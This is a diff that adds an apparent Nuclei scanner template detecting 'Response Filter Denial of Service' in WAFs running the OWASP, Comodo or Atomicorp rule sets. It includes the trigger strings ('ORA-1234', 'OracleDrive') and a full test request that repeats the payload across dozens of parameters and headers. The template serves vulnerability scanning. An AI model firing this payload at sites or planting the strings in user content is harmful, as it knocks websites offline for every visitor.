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| 1 | +id: RFDos |
| 2 | + |
| 3 | +info: |
| 4 | + name: Response Filter Denial of Service |
| 5 | + author: edoardottt |
| 6 | + severity: high |
| 7 | + description: | |
| 8 | + Basically, if a target website is protected by a WAF using the OWASP Core Rule Set or Comodo Rule Set or Atomicorp Rule Set, you can send the string ORA-1234 or OracleDrive or ASL-CONFIG-FILE in a comment, product review, registration form, e-commerce order details, etc... to prevent the website from showing its content to any users like a Denial of Service with a minimal effort. This happens because the overly inclusive response rules of the WAF try to prevent SQL error leakage or web shells. |
| 9 | + reference: |
| 10 | + - https://blog.sicuranext.com/response-filter-denial-of-service-a-new-way-to-shutdown-a-website/ |
| 11 | + classification: |
| 12 | + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 13 | + cvss-score: 7.5 |
| 14 | + tags: rfdos |
| 15 | + |
| 16 | +variables: |
| 17 | + payload: "ORA-1234:;Dynamic+SQL+Error;OracleDrive" |
| 18 | + hpayload: "ORA-1234: Dynamic SQL Error OracleDrive" |
| 19 | + |
| 20 | +http: |
| 21 | + - raw: |
| 22 | + - | |
| 23 | + GET / HTTP/1.1 |
| 24 | + Host: {{Hostname}} |
| 25 | +
|
| 26 | + - raw: |
| 27 | + - | |
| 28 | + GET /?s={{payload}}&next={{payload}}&img={{payload}}&filename={{payload}}&access={{payload}}&remote_url={{payload}}&file={{payload}}&dest={{payload}}&redirect={{payload}}&uri={{payload}}&path={{payload}}&continue={{payload}}&data={{payload}}&reference={{payload}}&site={{payload}}&open={{payload}}&nav={{payload}}&to={{payload}}&validate={{payload}}&domain={{payload}}&callback={{payload}}&image={{payload}}&file_url={{payload}}&resource={{payload}}&content={{payload}}&window={{payload}}&reference={{payload}}&site={{payload}}&html={{payload}}&val={{payload}}&domain={{payload}}&return={{payload}}&page={{payload}}&feed={{payload}}&port={{payload}}&out={{payload}}&view={{payload}}&dir={{payload}} HTTP/1.1 |
| 29 | + Host: {{Hostname}} |
| 30 | + Accept: {{hpayload}} |
| 31 | + Accept-Charset: {{hpayload}} |
| 32 | + Accept-Datetime: {{hpayload}} |
| 33 | + Accept-Encoding: {{hpayload}} |
| 34 | + Accept-Language: {{hpayload}} |
| 35 | + Alt-Svc: {{hpayload}} |
| 36 | + Authorization: {{hpayload}} |
| 37 | + Base-Url: {{hpayload}} |
| 38 | + CF-Connecting-IP: {{hpayload}} |
| 39 | + Cache-Control: {{hpayload}} |
| 40 | + Client-IP: {{hpayload}} |
| 41 | + Cluster: {{hpayload}} |
| 42 | + Cluster-Client-IP: {{hpayload}} |
| 43 | + Connection: {{hpayload}} |
| 44 | + Contact: {{hpayload}} |
| 45 | + Content-Length: {{hpayload}} |
| 46 | + Content-MD5: {{hpayload}} |
| 47 | + Content-Type: {{hpayload}} |
| 48 | + Cookie: {{hpayload}} |
| 49 | + DNT: {{hpayload}} |
| 50 | + Date: {{hpayload}} |
| 51 | + Destination: {{hpayload}} |
| 52 | + Expect: {{hpayload}} |
| 53 | + Forwarded: {{hpayload}} |
| 54 | + From: {{hpayload}} |
| 55 | + Front-End-Https: {{hpayload}} |
| 56 | + HTTP_CLIENT_IP: {{hpayload}} |
| 57 | + HTTP_FORWARDED: {{hpayload}} |
| 58 | + HTTP_FORWARDED_FOR: {{hpayload}} |
| 59 | + HTTP_X_FORWARDED: {{hpayload}} |
| 60 | + HTTP_X_FORWARDED_FOR: {{hpayload}} |
| 61 | + Host: {{hpayload}} |
| 62 | + Http-Url: {{hpayload}} |
| 63 | + If-Match: {{hpayload}} |
| 64 | + If-Modified-Since: {{hpayload}} |
| 65 | + If-None-Match: {{hpayload}} |
| 66 | + If-Range: {{hpayload}} |
| 67 | + If-Unmodified-Since: {{hpayload}} |
| 68 | + Link: {{hpayload}} |
| 69 | + Location: {{hpayload}} |
| 70 | + Max-Forwards: {{hpayload}} |
| 71 | + Origin: {{hpayload}} |
| 72 | + Pragma: {{hpayload}} |
| 73 | + Profile: {{hpayload}} |
| 74 | + Proxy: {{hpayload}} |
| 75 | + Proxy-Authorization: {{hpayload}} |
| 76 | + Proxy-Connection: {{hpayload}} |
| 77 | + Proxy-Host: {{hpayload}} |
| 78 | + Proxy-Url: {{hpayload}} |
| 79 | + Range: {{hpayload}} |
| 80 | + Real-IP: {{hpayload}} |
| 81 | + Redirect: {{hpayload}} |
| 82 | + Referer: {{hpayload}} |
| 83 | + Referrer: {{hpayload}} |
| 84 | + Refferer: {{hpayload}} |
| 85 | + Request-Uri: {{hpayload}} |
| 86 | + TE: {{hpayload}} |
| 87 | + True-Client-IP: {{hpayload}} |
| 88 | + UID: {{hpayload}} |
| 89 | + Upgrade: {{hpayload}} |
| 90 | + Uri: {{hpayload}} |
| 91 | + User-Agent: {{hpayload}} |
| 92 | + Via: {{hpayload}} |
| 93 | + Warning: {{hpayload}} |
| 94 | + X-ATT-DeviceId: {{hpayload}} |
| 95 | + X-Arbitrary: {{hpayload}} |
| 96 | + X-CSRFToken: {{hpayload}} |
| 97 | + X-Client-IP: {{hpayload}} |
| 98 | + X-Cluster-Client-IP: {{hpayload}} |
| 99 | + X-Correlation-ID: {{hpayload}} |
| 100 | + X-Csrf-Token: {{hpayload}} |
| 101 | + X-Custom-IP-Authorization: {{hpayload}} |
| 102 | + X-Do-Not-Track: {{hpayload}} |
| 103 | + X-Forward-For: {{hpayload}} |
| 104 | + X-Forwarded: {{hpayload}} |
| 105 | + X-Forwarded-By: {{hpayload}} |
| 106 | + X-Forwarded-For: {{hpayload}} |
| 107 | + X-Forwarded-For-IP: {{hpayload}} |
| 108 | + X-Forwarded-For-Original: {{hpayload}} |
| 109 | + X-Forwarded-Host: {{hpayload}} |
| 110 | + X-Forwarded-Proto: {{hpayload}} |
| 111 | + X-Forwarded-Server: {{hpayload}} |
| 112 | + X-Forwarder-For: {{hpayload}} |
| 113 | + X-Host: {{hpayload}} |
| 114 | + X-Http-Destinationurl: {{hpayload}} |
| 115 | + X-Http-Host-Override: {{hpayload}} |
| 116 | + X-Http-Method-Override: {{hpayload}} |
| 117 | + X-Original-Remote-Addr: {{hpayload}} |
| 118 | + X-Original-Url: {{hpayload}} |
| 119 | + X-Originating-IP: {{hpayload}} |
| 120 | + X-Proxy-Url: {{hpayload}} |
| 121 | + X-ProxyUser-IP: {{hpayload}} |
| 122 | + X-Real-IP: {{hpayload}} |
| 123 | + X-Remote-Addr: {{hpayload}} |
| 124 | + X-Remote-IP: {{hpayload}} |
| 125 | + X-Request-ID: {{hpayload}} |
| 126 | + X-Requested-With: {{hpayload}} |
| 127 | + X-Rewrite-Url: {{hpayload}} |
| 128 | + X-True-IP: {{hpayload}} |
| 129 | + X-UIDH: {{hpayload}} |
| 130 | + X-Wap-Profile: {{hpayload}} |
| 131 | + X-XSRF-TOKEN: {{hpayload}} |
| 132 | +
|
| 133 | + {{hpayload}} |
| 134 | +
|
| 135 | +
|
| 136 | + redirects: true |
| 137 | + max-redirects: 5 |
| 138 | + |
| 139 | + matchers: |
| 140 | + - type: dsl |
| 141 | + dsl: |
| 142 | + - "status_code_1==200 || status_code_1==201 || status_code_1==202 || status_code_1==203 || status_code_1==204 || status_code_1==205 || status_code_1==206" |
| 143 | + - "status_code_2 == 403" |
| 144 | + condition: and |
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